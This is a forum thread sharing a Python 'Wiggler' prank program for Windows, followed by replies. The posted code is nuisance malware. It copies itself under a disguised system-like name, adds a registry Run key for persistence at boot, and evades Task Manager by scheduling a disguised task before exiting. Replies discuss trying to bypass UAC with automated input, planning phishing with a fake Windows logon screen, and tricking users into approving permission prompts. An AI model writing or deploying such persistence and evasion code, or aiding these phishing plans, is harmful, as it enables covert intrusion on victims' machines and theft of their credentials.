[Python] Wiggler - Annoying Python Program For Windows
#1
This program wiggles the mouse and shows a message to the user. It's pretty persistent. It adds itself to the Windows registry and will start at boot. It also has a way to "hide" from task manager. If it detects the task manager process it schedules a job to execute it again in an hour and the program exits. For some reason that I spent hours trying to figure out, it refuses to work when you use pyinstaller to make it a windowed app. Something like this: pyinstaller --onefile --windowed wiggle.py compiles it just fine, but when run it pops up an error and crashes. If you run it without --windowed it works fine. Anyway, enjoy!
 
Code:
import pyautogui, random, subprocess, time, os

screensize = pyautogui.size()
pyautogui.FAILSAFE = False # Uncomment to disable the failsafe

def checkKillswitch():
    try:
        f = open('{}\\kill_the_wiggle'.format(os.environ['TMP'], 'r'))
        f.close()
        return True
    except:
        return False

def moveMouse():
    x = random.randint(1,screensize[0])
    y = random.randint(1,screensize[1])
    movetime = random.randint(1,3)

    pyautogui.moveTo(x, y, movetime)
    return

def showAlert(title, msg):
    pyautogui.alert(text=msg, title=title, button='OK')
    return

def hideSelf():
    tasks = subprocess.run('tasklist', capture_output=True, shell=True).stdout.decode()
    if 'taskmgr.exe' in tasks.lower():
        current_time = time.localtime()
        subprocess.run('schtasks /f /create /sc once /tn "SystemTasks" /tr "{}\\win32-drg.exe" /st {}:{}'.format(os.environ['TMP'], current_time.tm_hour + 1, current_time.tm_min), stdout=None, stderr=None)
        sys.exit()

def firstRun():
    # copy exe to C:\tmp
    tempdir = os.environ['TMP']
    exec_file = '{}\\win32-drg.exe'.format(tempdir)
    codefile = open(sys.executable, 'rb')
    code = codefile.read()
    fd = open(exec_file, 'wb')
    fd.write(code)
    fd.close()
    subprocess.run('reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v win32.runsys /d "{}\\win32-drg.exe'.format(tempdir), stdout=None, stderr=None, shell=True)

# See if the executable is already present. If it is then we've already run.
try:
    f = open('{}/win32-drg.exe'.format(os.environ['TMP']), 'r')
    f.close()
except:
    firstRun()

while True:
    if checkKillswitch() == True:
        answer = pyautogui.confirm(text="Do you want to stop the wiggler?", title="Wiggler", buttons=["Yes","No"])
        if answer == "Yes":
            sys.exit()

    hideSelf()
    time.sleep(random.randint(10,30))
   
    for i in range(1,5):
        moveMouse()

    hideSelf()
    time.sleep(random.randint(10,30))
    showAlert('Wiggle','I\'m da wiggler. I wiggle your mouse. Catch me if you can!')
Reply
#2
Interesting, might borrow some of these ideas for projects of my own Smile I think from a forensic point of view, the mouse jiggling function is very useful to have.
Reply
#3
(05-22-2020, 02:54 PM)Insider Wrote: Interesting, might borrow some of these ideas for projects of my own :) I think from a forensic point of view, the mouse jiggling function is very useful to have.
 
Feel free to steal my ideas of course :)
Reply
#4
(05-22-2020, 04:17 PM)Dismal_0x8 Wrote: Feel free to steal my ideas of course Smile

Pyautogui seems like an interesting library. Tried it earlier to see if I could automate mouse and keyboard movements during an UAC popup to bypass UAC. No luck though, windows security is on-point.

I suppose I'll try and see if I can invoke a pre-compiled fake windows login for phising instead. https://github.com/bitsadmin/fakelogonscreen
Reply
#5
UAC is low-key your friend if you use it right. The classic of just asking for the permissions you need works wonders. Users usually default to just saying ok.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [Python] Can't Post To Pastebin? Dismal_0x8 1 361 05-03-2020, 01:01 AM
Last Post: dropzone
  Windows Source-Code Collection (1.3TB) Insider 0 266 05-01-2020, 07:41 PM
Last Post: Insider
  Random bitcoin private key generation in python illmanors 1 4,287 01-31-2019, 01:09 PM
Last Post: sleepy999
  Python check individual characters? Anthrax 4 3,636 10-31-2016, 09:19 PM
Last Post: Anthrax